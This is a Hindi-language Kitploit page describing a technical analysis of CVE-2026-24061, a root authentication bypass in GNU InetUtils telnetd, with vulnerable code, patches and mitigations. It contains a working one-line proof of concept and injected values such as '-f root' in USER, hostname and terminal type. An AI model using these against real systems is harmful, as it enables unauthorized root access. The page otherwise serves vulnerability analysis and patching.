Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24061 — गहन तकनीकी विश्लेषण और स्कैनर CVE-2026-24061 के लिए, जो GNU InetUtils telnetd में एक गंभीर प्रमाणीकरण बाईपास है, जिसमें एक्सप्लॉइट चेन, PoC और पैच विवरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/buzz075/cve-2026-24061
भेद्यता विश्लेषणशोषणनेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

गहन तकनीकी विश्लेषण और स्कैनर CVE-2026-24061 के लिए, जो GNU InetUtils telnetd में एक गंभीर प्रमाणीकरण बाईपास है, जिसमें एक्सप्लॉइट चेन, PoC और पैच विवरण शामिल हैं।

रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24061: GNU InetUtils telnetd प्रमाणीकरण बाईपास - गहन विश्लेषण

कार्यकारी सारांश

CVE-2026-24061 GNU InetUtils telnetd में एक गंभीर (CVSS 9.8) रिमोट प्रमाणीकरण बाईपास भेद्यता है जो बिना प्रमाणित हमलावरों को तुरंत रूट एक्सेस प्राप्त करने की अनुमति देती है। यह भेद्यता USER पर्यावरण चर के अनुचित सैनिटाइज़ेशन के कारण उत्पन्न होती है, जिसे सीधे /usr/bin/login को कमांड-लाइन तर्क के रूप में पारित किया जाता है। USER=-f root सेट करके, एक हमलावर login के -f फ्लैग को ट्रिगर करता है, जो प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।

प्रभावित संस्करण: GNU InetUtils 1.9.3 से 2.7 भेद्यता प्रकार: CWE-88 (तर्क इंजेक्शन) खोज की तिथि: 20 जनवरी, 2026 खोजकर्ता: Kyu Neushwaistein (उर्फ Carlos Cortes Alvarez)


भाग 1: विस्तृत तकनीकी विश्लेषण

भेद्य कोड प्रवाह

1. लॉगिन इनवोकेशन टेम्पलेट (telnetd/telnetd.c, पंक्तियाँ ~49-63)

भेद्यता एक कमांड टेम्पलेट स्ट्रिंग से शुरू होती है जो परिभाषित करती है कि telnetd /usr/bin/login को कैसे इनवोक करता है:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

मुख्य अवलोकन: गैर-Solaris सिस्टम पर, टेम्पलेट उपयोग करता है:

  • %?u{-f %u}{%U} - यह एक सशर्त अभिव्यक्ति है जिसका अर्थ है:
    • यदि user_name सेट है (%u), तो -f %u उपयोग करें (प्रमाणित ऑटोलॉगिन)
    • अन्यथा, %U उपयोग करें (USER पर्यावरण चर फ़ॉलबैक के रूप में)

महत्वपूर्ण समस्या: %U कच्चे, बिना सैनिटाइज़ किए USER पर्यावरण चर में विस्तारित होता है।

2. चर विस्तार फ़ंक्शन (telnetd/utility.c, _var_short_name())

टेम्पलेट स्ट्रिंग को expand_line() द्वारा संसाधित किया जाता है, जो प्लेसहोल्डर्स को विस्तारित करने के लिए _var_short_name() को कॉल करता है। यहाँ भेद्य कोड है:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

महत्वपूर्ण बग (केस 'U'): USER पर्यावरण चर को getenv() के माध्यम से प्राप्त किया जाता है और बिना किसी सैनिटाइज़ेशन के पारित किया जाता है। जब कोई हमलावर USER=-f root सेट करता है, तो यह लॉगिन कमांड लाइन का हिस्सा बन जाता है।

3. स्टार्ट लॉगिन फ़ंक्शन (telnetd/pty.c, start_login())

विस्तारित लॉगिन इनवोकेशन स्ट्रिंग को start_login() में निष्पादित किया जाता है:

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

शोषण श्रृंखला

  1. हमलावर कनेक्ट करता है telnetd (पोर्ट 23) से

  2. टेलनेट विकल्प वार्ता होती है:

    • सर्वर भेजता है IAC DO NEW_ENVIRON
    • क्लाइंट जवाब देता है IAC WILL NEW_ENVIRON
    • सर्वर भेजता है IAC SB NEW_ENVIRON SEND (पर्यावरण का अनुरोध)
    • हमलावर भेजता है: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. सर्वर USER चर को संसाधित करता है:

    • getenv("USER") लौटाता है -f root
    • टेम्पलेट %U विस्तारित होता है -f root में
    • अंतिम कमांड: /usr/bin/login -p -h <hostname> -f root
  4. लॉगिन -f root की व्याख्या करता है:

    • -f फ्लैग का अर्थ है "प्रमाणीकरण छोड़ें, उपयोगकर्ता पूर्व-प्रमाणित है"
    • root वह उपयोगकर्ता नाम है जिसके रूप में लॉगिन करना है
    • परिणाम: बिना किसी पासवर्ड प्रॉम्प्ट के तुरंत रूट शेल!

प्रूफ ऑफ कॉन्सेप्ट

root@kitploit:~
# On attacker machine:
USER='-f root' telnet -a <target_ip>

-a फ्लैग स्वचालित लॉगिन मोड को सक्षम करता है, जो USER पर्यावरण चर को सर्वर को भेजता है।


भाग 2: अन्य संभावित रूप से भेद्य चरों का विश्लेषण

सुरक्षा सलाह स्पष्ट रूप से नोट करती है: "इस प्रकार अन्य चरों के लिए समान भेद्यताओं की संभावना है।" आइए _var_short_name() में प्रत्येक चर का विश्लेषण करें:

चर विश्लेषण तालिका

Varनामस्रोतउपयोगकर्ता नियंत्रणीय?सैनिटाइज़ किया गया?हमला सतह
%UUSER env vargetenv("USER")हाँ (NEW_ENVIRON के माध्यम से)नहींमहत्वपूर्ण - CVE-2026-24061
%hremote_hostnameDNS/PTR लुकअपआंशिक (PTR रिकॉर्ड)नहींउच्च
%TterminaltypeTERMINAL-TYPE विकल्पहाँनहींमध्यम
%uuser_nameप्रोटोकॉल वार्ताहाँनहींमध्यम (प्रमाणीकरण की आवश्यकता)
%llocal_hostnameसिस्टम कॉन्फ़िगरेशननहींN/Aनिम्न
%Lline (TTY)सिस्टम आवंटितनहींN/Aनिम्न
%ttty shortnameसिस्टम आवंटितनहींN/Aनिम्न
%dदिनांक/समयसिस्टम घड़ीनहींN/Aकोई नहीं
%aप्रमाणीकरण स्थितिआंतरिक स्थितिनहींN/Aकोई नहीं

संभावित रूप से भेद्य चरों का विस्तृत विश्लेषण

1. %h - रिमोट होस्टनाम (उच्च जोखिम)

स्रोत: telnetd_setup() में telnetd.c से getnameinfo() या gethostbyaddr() के माध्यम से भरा जाता है।

समस्या: यदि कोई हमलावर अपने PTR (रिवर्स DNS) रिकॉर्ड को नियंत्रित करता है, तो वे संभावित रूप से इंजेक्ट कर सकते हैं:

root@kitploit:~
foo -f root

अपने होस्टनाम के रूप में, जो -h तर्क का हिस्सा बन जाएगा:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

शोषण कठिनाई:

  • रिवर्स DNS के नियंत्रण की आवश्यकता होती है
  • कुछ लॉगिन कार्यान्वयन होस्टनाम को उद्धृत या मान्य कर सकते हैं
  • USER इंजेक्शन से अधिक जटिल

वास्तविक-विश्व परिदृश्य: अपने IP के PTR रिकॉर्ड के नियंत्रण वाला हमलावर (VPS प्रदाताओं के लिए सामान्य) अपने रिवर्स DNS को दुर्भावनापूर्ण मान पर सेट कर सकता है।

2. %T - टर्मिनल प्रकार (मध्यम जोखिम)

स्रोत: टेलनेट TERMINAL-TYPE उप-वार्ता के माध्यम से प्राप्त, terminaltype चर में संग्रहीत।

समस्या: टर्मिनल प्रकार स्ट्रिंग हमलावर-नियंत्रित और बिना सैनिटाइज़ है:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

टेम्पलेट्स में उपयोग:

  • SOLARIS10: %?T{-t %T} - -t फ्लैग के साथ उपयोग किया जाता है
  • SOLARIS: %?T{%T} - सीधे डाला गया

संभावित हमला:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

हालाँकि, शोषण निर्भर करता है:

  • टेम्पलेट %T का उपयोग करता है (वर्तमान में केवल Solaris)
  • लॉगिन -t तर्क को कैसे संभालता है

3. %u - प्रमाणित उपयोगकर्ता नाम (मध्यम जोखिम)

स्रोत: प्रमाणीकरण वार्ता के दौरान सेट किया जाता है।

समस्या: -f %u पैटर्न में उपयोग किया जाता है:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

यदि कोई हमलावर user_name में शेल मेटाकैरेक्टर या अतिरिक्त तर्क शामिल करने के लिए हेरफेर कर सकता है, तो वे उन्नयन प्राप्त कर सकते हैं। हालाँकि, यह चर आमतौर पर किसी प्रकार के प्रमाणीकरण सत्यापन के बाद ही सेट किया जाता है।

अन्य चर कम जोखिम क्यों हैं

  • %l, %L, %t: ये सिस्टम-नियंत्रित मानों (स्थानीय होस्टनाम, TTY डिवाइस नाम) से प्राप्त होते हैं जिन्हें हमलावर दूरस्थ रूप से प्रभावित नहीं कर सकते।

  • %d: सिस्टम घड़ी से उत्पन्न - कोई इंजेक्शन वेक्टर नहीं।

  • %a: आंतरिक प्रमाणीकरण स्थिति चर - शाब्दिक "ok" या NULL लौटाता है।


भाग 3: समान बग पैटर्न जिन्हें देखना चाहिए

इस भेद्यता के आधार पर, कोडबेस में खोजने के लिए यहाँ पैटर्न हैं:

पैटर्न 1: बिना सैनिटाइज़ किए पर्यावरण चर उपयोग

root@kitploit:~
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")

जाँचने के लिए फ़ाइलें:

  • telnetd/utility.c - अन्य विस्तार फ़ंक्शन
  • telnetd/telnetd.c - पर्यावरण हैंडलिंग
  • rlogind/, rshd/ - समान सेवाएँ

पैटर्न 2: सत्यापन के बिना टेम्पलेट विस्तार

root@kitploit:~
// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

पैटर्न 3: कमांड्स में DNS-व्युत्पन्न डेटा

root@kitploit:~
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...);  // PTR lookups
gethostbyaddr(...);
// Then using result in command construction

आगे की जाँच की आवश्यकता वाले क्षेत्र

  1. ftpd डेमॉन: जाँचें कि प्रमाणीकरण और कमांड प्रोसेसिंग में उपयोगकर्ता इनपुट कैसे संभाला जाता है

  2. rshd/rlogind डेमॉन: ये समान प्रमाणीकरण पैटर्न का उपयोग करते हैं और होस्टनाम या पर्यावरण हैंडलिंग में तुलनीय समस्याएँ हो सकती हैं

  3. inetd कॉन्फ़िगरेशन पार्सिंग: सेवाओं को सेट करते समय अविश्वसनीय इनपुट संसाधित कर सकता है

  4. Kerberos एकीकरण बिंदु: प्रिंसिपल नाम या प्रमाणीकरण टोकन संसाधित करते समय


भाग 4: समाधान

पैच 1: अग्रणी डैश सैनिटाइज़ करें (fd702c02)

पहला पैच बुनियादी सैनिटाइज़ेशन जोड़ता है:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

यह - से शुरू होने वाले मानों को रोकता है जो फ्लैग इंजेक्शन को रोकता है।

पैच 2: सामान्यीकृत सैनिटाइज़ेशन फ़ंक्शन (ccba9f74)

दूसरा पैच सभी उपयोगकर्ता-नियंत्रित इनपुट के लिए पुन: प्रयोज्य sanitize() फ़ंक्शन पेश करता है:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

सभी संभावित रूप से खतरनाक चरों पर लागू:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

निष्कर्ष

  1. CVE-2026-24061 एक पाठ्यपुस्तक तर्क इंजेक्शन भेद्यता है जो 11 वर्षों तक अनिर्धारित रही:

    • विरासत प्रोटोकॉल धारणाओं के कारण
    • जटिल कोड प्रवाह (टेम्पलेट → विस्तार → निष्पादन)
    • "विश्वसनीय" पर्यावरण चरों की अपर्याप्त सुरक्षा समीक्षा
  2. समान भेद्यताएँ मौजूद हो सकती हैं %h (होस्टनाम) और %T (टर्मिनल प्रकार) चरों में, हालाँकि शोषण अधिक जटिल है।

  3. व्यापक निहितार्थ: कोई भी कोड जो नेटवर्क-व्युत्पन्न डेटा से शेल कमांड या प्रोग्राम तर्क बनाता है, उसे समान इंजेक्शन भेद्यताओं के लिए ऑडिट किया जाना चाहिए।

  4. अनुशंसित शमन:

    • GNU InetUtils 2.8+ में अपग्रेड करें
    • telnetd को पूरी तरह से अक्षम करें (SSH का उपयोग करें)
    • यदि telnetd आवश्यक है, तो विश्वसनीय नेटवर्क तक सीमित करें
    • एक कस्टम लॉगिन प्रोग्राम का उपयोग करें जो -f फ्लैग को अनदेखा करता है
टूल डाउनलोड करें